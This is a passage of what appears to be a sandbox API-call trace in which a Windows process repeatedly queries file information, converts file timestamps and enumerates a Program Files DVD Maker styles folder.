lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0077.211] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0077.211] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0077.211] CloseHandle (hObject=0x174) returned 1 [0077.211] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0077.211] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0077.211] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0077.211] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0077.211] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0077.212] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0077.212] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0077.212] CloseHandle (hObject=0x174) returned 1 [0077.212] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0077.212] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0077.212] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0077.212] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0077.212] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0077.212] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0077.212] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0077.212] CloseHandle (hObject=0x174) returned 1 [0077.219] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xab6301c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xab6301c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3c000a36, cFileName=".", cAlternateFileName="")) returned 0x549810 [0077.219] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0077.219] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0077.219] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0077.219] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0077.220] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0077.220] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0077.220] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0077.220] CloseHandle (hObject=0x174) returned 1 [0077.220] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0077.221] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0077.221] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0077.221] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0077.221] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0077.221] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0077.221] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0077.221] CloseHandle (hObject=0x174) returned 1 [0077.221] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0077.221] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0077.221] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0077.221] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0077.221] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0077.221] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0077.221] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0077.221] CloseHandle (hObject=0x174) returned 1 [0077.222] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0077.222] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0077.222] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0077.222] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0077.222] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0077.222] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0077.222] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0077.222] CloseHandle (hObject=0x174) returned 1 [0077.222] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0077.222] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0077.222] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0077.223] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0077.223] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0077.223] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0077.223] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0077.223] CloseHandle (hObject=0x174) returned 1 [0077.224] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0077.224] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0077.224] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0077.224] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0077.224] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0077.224] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0077.224] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0077.224] CloseHandle (hObject=0x174) returned 1 [0077.224] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0077.224] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0077.224] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0077.224] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0077.224] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0077.225] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0077.225] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0077.225] CloseHandle (hObject=0x174) returned 1 [0077.225] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0077.225] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0077.225] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0077.225] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0077.225] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0077.225] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0077.225] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0077.225] CloseHandle (hObject=0x174) returned 1 [0077.226] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0077.226] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0077.226] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0077.226] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0077.226] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0077.226] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0077.226] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0077.226] CloseHandle (hObject=0x174) returned 1 [0077.227] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0077.227] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0077.227] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0077.227] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0077.227] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0077.227] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0077.227] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0077.227] CloseHandle (hObject=0x174) returned 1 [0077.227] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0077.227] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0077.227] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0077.228] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0077.228] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0077.228] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0077.228] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0077.228] CloseHandle (hObject=0x174) returned 1 [0077.228] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0077.228] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0077.228] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0077.228] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0077.228] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0077.228] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0077.228] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0077.228] CloseHandle (hObject=0x174) returned 1 [0077.230] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0077.230] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0077.230] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0077.230] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0077.230] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0077.230] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0077.230] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0077.230] CloseHandle (hObject=0x174) returned 1 [0077.232] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0077.232] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0077.232] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0077.232] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0077.232] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0077.232] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0077.232] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0077.232] CloseHandle (hObject=0x174) returned 1 [0077.232] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0077.232] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0077.232] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0077.232] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0077.232] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0077.232] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0077.232] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0077.232] CloseHandle (hObject=0x174) returned 1 [0077.233] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0077.233] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0077.233] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0077.233] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0077.233] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0077.233] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0077.233] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0077.233] CloseHandle (hObject=0x174) returned 1 [0077.233] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0077.233] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0077.233] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0077.233] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0077.234] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0077.234] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0077.234] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0077.234] CloseHandle (hObject=0x174) returned 1 [0077.234] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0077.235] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0077.235] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0077.235] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0077.235] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0077.235] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0077.235] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0077.235] CloseHandle (hObject=0x174) returned 1 [0077.235] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0077.235] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0077.235] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0077.235] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0077.235] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0077.235] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0077.235] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0077.235] CloseHandle (hObject=0x174) returned 1 [0077.236] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0077.236] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0077.236] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0077.236] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0077.236] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0077.236] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0077.236] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0077.236] CloseHandle (hObject=0x174) returned 1 [0077.236] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0077.236] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0077.236] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0077.236] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0077.236] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0077.236] FileTimeToSystemTime (in: 